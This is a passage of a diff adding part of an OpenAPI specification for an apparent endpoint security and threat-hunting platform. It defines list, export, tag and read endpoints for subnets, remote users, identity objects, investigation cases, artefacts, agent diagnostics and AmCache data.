+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/WindowsRemoteUser'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - host_properties
+    parameters: []
+  /data/host_properties/remote_users/windows/export/:
+    get:
+      description: Endpoint for exporting the current queryset as a CSV file.
+      operationId: data_host_properties_remote_users_windows_export
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: last_update
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: creation_date
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: name
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: sid
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: domain
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - host_properties
+    parameters: []
+  /data/host_properties/remote_users/windows/{id}/:
+    get:
+      description: ""
+      operationId: data_host_properties_remote_users_windows_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/WindowsRemoteUser'
+      tags:
+        - host_properties
+    parameters:
+      - description: A unique value identifying this windows remote user.
+        in: path
+        name: id
+        required: true
+        type: string
+  /data/host_properties/subnets/:
+    get:
+      description: ""
+      operationId: data_host_properties_subnets_list
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: gateway_ipaddress
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: gateway_macaddress
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: gateway_oui
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: name
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: description
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: auto_scan
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: existing_agent_count
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: missing_agent_count
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: randomized_mac_address_count
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: last_seen
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: first_seen
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          name: total_agent_count
+          required: false
+          type: number
+        - in: query
+          name: blacklisted
+          required: false
+          type: boolean
+        - in: query
+          name: whitelisted
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/__SubnetSerializer'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - host_properties
+    parameters: []
+  /data/host_properties/subnets/export/:
+    get:
+      description: Endpoint for exporting the current queryset as a CSV file.
+      operationId: data_host_properties_subnets_export
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: gateway_ipaddress
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: gateway_macaddress
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: gateway_oui
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: name
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: description
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: auto_scan
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: existing_agent_count
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: missing_agent_count
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: randomized_mac_address_count
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: last_seen
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: first_seen
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - host_properties
+    parameters: []
+  /data/host_properties/subnets/{id}/:
+    get:
+      description: ""
+      operationId: data_host_properties_subnets_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/__SubnetSerializer'
+      tags:
+        - host_properties
+    parameters:
+      - description: A UUID string identifying this subnet.
+        format: uuid
+        in: path
+        name: id
+        required: true
+        type: string
+    patch:
+      description: ""
+      operationId: data_host_properties_subnets_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/__SubnetSerializer'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/__SubnetSerializer'
+      tags:
+        - host_properties
+    put:
+      description: ""
+      operationId: data_host_properties_subnets_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/__SubnetSerializer'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/__SubnetSerializer'
+      tags:
+        - host_properties
+  /data/identity_management/IdentityDevice/:
+    get:
+      description: ""
+      operationId: data_identity_management_IdentityDevice_list
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: hostname
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: sid
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/IdentityDevice'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - identity
+    parameters: []
+  /data/identity_management/IdentityDevice/{id}/:
+    get:
+      description: ""
+      operationId: data_identity_management_IdentityDevice_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/IdentityDevice'
+      tags:
+        - identity
+    parameters:
+      - description: A UUID string identifying this identity device.
+        format: uuid
+        in: path
+        name: id
+        required: true
+        type: string
+  /data/identity_management/IdentityDomain/:
+    get:
+      description: ""
+      operationId: data_identity_management_IdentityDomain_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/IdentityDomain'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - identity
+    parameters: []
+  /data/identity_management/IdentityDomain/{id}/:
+    get:
+      description: ""
+      operationId: data_identity_management_IdentityDomain_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/IdentityDomain'
+      tags:
+        - identity
+    parameters:
+      - description: A UUID string identifying this identity domain.
+        format: uuid
+        in: path
+        name: id
+        required: true
+        type: string
+  /data/identity_management/IdentityOrganizationalUnit/:
+    get:
+      description: ""
+      operationId: data_identity_management_IdentityOrganizationalUnit_list
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: name
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: description
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/IdentityOrganizationalUnit'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - identity
+    parameters: []
+  /data/identity_management/IdentityOrganizationalUnit/{id}/:
+    get:
+      description: ""
+      operationId: data_identity_management_IdentityOrganizationalUnit_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/IdentityOrganizationalUnit'
+      tags:
+        - identity
+    parameters:
+      - description: A UUID string identifying this identity organizational unit.
+        format: uuid
+        in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/artefact/Artefact/:
+    get:
+      description: ""
+      operationId: data_investigation_artefact_Artefact_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/Artefact'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/artefact/Artefact/download/:
+    get:
+      description: ""
+      operationId: data_investigation_artefact_Artefact_download_from_jobinstance_id
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: artefact
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/artefact/Artefact/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_artefact_Artefact_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/artefact/Artefact/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_artefact_Artefact_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatus'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by ids.
+      tags:
+        - investigation
+  /data/investigation/artefact/Artefact/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_artefact_Artefact_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Artefact'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/artefact/Artefact/{id}/download/:
+    get:
+      description: ""
+      operationId: data_investigation_artefact_Artefact_download
+      parameters: []
+      responses:
+        "200":
+          description: artefact
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/artefact/ArtefactAggregate/:
+    get:
+      description: |-
+        Reunion of all elements that are equal, on a given list of fields.
+        Each element will be assigned an additional field `count` corresponding to the number of elements with the same characteristics.
+      operationId: data_investigation_artefact_ArtefactAggregate_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: agg_cols
+          required: true
+          type: array
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/Artefact'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      summary: Endpoint for aggregating the current search.
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/artefact/ArtefactAggregate/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_artefact_ArtefactAggregate_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/artefact/ArtefactAggregate/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_artefact_ArtefactAggregate_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatusStats'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by the current search.
+      tags:
+        - investigation
+  /data/investigation/artefact/ArtefactAggregate/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_artefact_ArtefactAggregate_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Artefact'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/case/InvestigationCase/:
+    get:
+      description: ""
+      operationId: data_investigation_case_InvestigationCase_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/InvestigationCase'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - investigation
+    parameters: []
+    post:
+      description: ""
+      operationId: data_investigation_case_InvestigationCase_create
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/InvestigationCase'
+      responses:
+        "201":
+          description: ""
+          schema:
+            $ref: '#/definitions/InvestigationCase'
+      tags:
+        - investigation
+  /data/investigation/case/InvestigationCase/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_case_InvestigationCase_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/case/InvestigationCase/{id}/:
+    delete:
+      description: ""
+      operationId: data_investigation_case_InvestigationCase_delete
+      parameters: []
+      responses:
+        "204":
+          description: ""
+      tags:
+        - investigation
+    get:
+      description: ""
+      operationId: data_investigation_case_InvestigationCase_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/InvestigationCase'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+    patch:
+      description: ""
+      operationId: data_investigation_case_InvestigationCase_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/InvestigationCase'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/InvestigationCase'
+      tags:
+        - investigation
+    put:
+      description: ""
+      operationId: data_investigation_case_InvestigationCase_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/InvestigationCase'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/InvestigationCase'
+      tags:
+        - investigation
+  /data/investigation/case/InvestigationCase/{id}/add_agents/:
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+    post:
+      description: Append agent
+      operationId: data_investigation_case_InvestigationCase_add_agents
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_ManageAgentRequest'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/_AddAgentResponse'
+      tags:
+        - investigation
+  /data/investigation/case/InvestigationCase/{id}/add_timeline/:
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+    post:
+      description: Append timeline events
+      operationId: data_investigation_case_InvestigationCase_add_timeline
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_AddTimelineRequest'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/_AddTimelineResponse'
+      tags:
+        - investigation
+  /data/investigation/case/InvestigationCase/{id}/comments/:
+    delete:
+      description: ""
+      operationId: data_investigation_case_InvestigationCase_comments_delete
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/IdComment'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/CommentResponse'
+      tags:
+        - investigation
+    get:
+      description: ""
+      operationId: data_investigation_case_InvestigationCase_comments_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/CommentResponse'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+    patch:
+      description: ""
+      operationId: data_investigation_case_InvestigationCase_comments_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/EditBody'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/CommentResponse'
+      tags:
+        - investigation
+    post:
+      description: ""
+      operationId: data_investigation_case_InvestigationCase_comments_create
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/BaseComment'
+      responses:
+        "201":
+          description: ""
+          schema:
+            $ref: '#/definitions/CommentResponse'
+      tags:
+        - investigation
+  /data/investigation/case/InvestigationCase/{id}/delete_agents/:
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+    post:
+      description: Remove agents
+      operationId: data_investigation_case_InvestigationCase_delete_agents
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_ManageAgentRequest'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/_DeleteAgentResponse'
+      tags:
+        - investigation
+  /data/investigation/case/InvestigationCase/{id}/delete_timeline/:
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+    post:
+      description: Remove timeline elements
+      operationId: data_investigation_case_InvestigationCase_delete_timeline
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_AddTimelineRequest'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/_DeleteTimelineResponse'
+      tags:
+        - investigation
+  /data/investigation/hunting/AgentDiagnostic/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_AgentDiagnostic_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/AgentDiagnostic'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/AgentDiagnostic/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_hunting_AgentDiagnostic_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/AgentDiagnostic/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_hunting_AgentDiagnostic_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatus'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by ids.
+      tags:
+        - investigation
+  /data/investigation/hunting/AgentDiagnostic/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_AgentDiagnostic_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/AgentDiagnostic'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/AgentDiagnosticAggregate/:
+    get:
+      description: |-
+        Reunion of all elements that are equal, on a given list of fields.
+        Each element will be assigned an additional field `count` corresponding to the number of elements with the same characteristics.
+      operationId: data_investigation_hunting_AgentDiagnosticAggregate_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: agg_cols
+          required: true
+          type: array
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/AgentDiagnostic'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      summary: Endpoint for aggregating the current search.
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/AgentDiagnosticAggregate/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_hunting_AgentDiagnosticAggregate_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/AgentDiagnosticAggregate/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_hunting_AgentDiagnosticAggregate_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatusStats'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by the current search.
+      tags:
+        - investigation
+  /data/investigation/hunting/AgentDiagnosticAggregate/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_AgentDiagnosticAggregate_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/AgentDiagnostic'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/AmCache/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_AmCache_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/AmCache'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/AmCache/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_hunting_AmCache_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/AmCache/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_hunting_AmCache_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatus'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by ids.
+      tags:
+        - investigation
+  /data/investigation/hunting/AmCache/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_AmCache_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/AmCache'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/AmCacheAggregate/:
+    get:
+      description: |-
+        Reunion of all elements that are equal, on a given list of fields.
+        Each element will be assigned an additional field `count` corresponding to the number of elements with the same characteristics.
+      operationId: data_investigation_hunting_AmCacheAggregate_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: agg_cols
+          required: true
+          type: array
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/AmCache'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      summary: Endpoint for aggregating the current search.
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/AmCacheAggregate/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
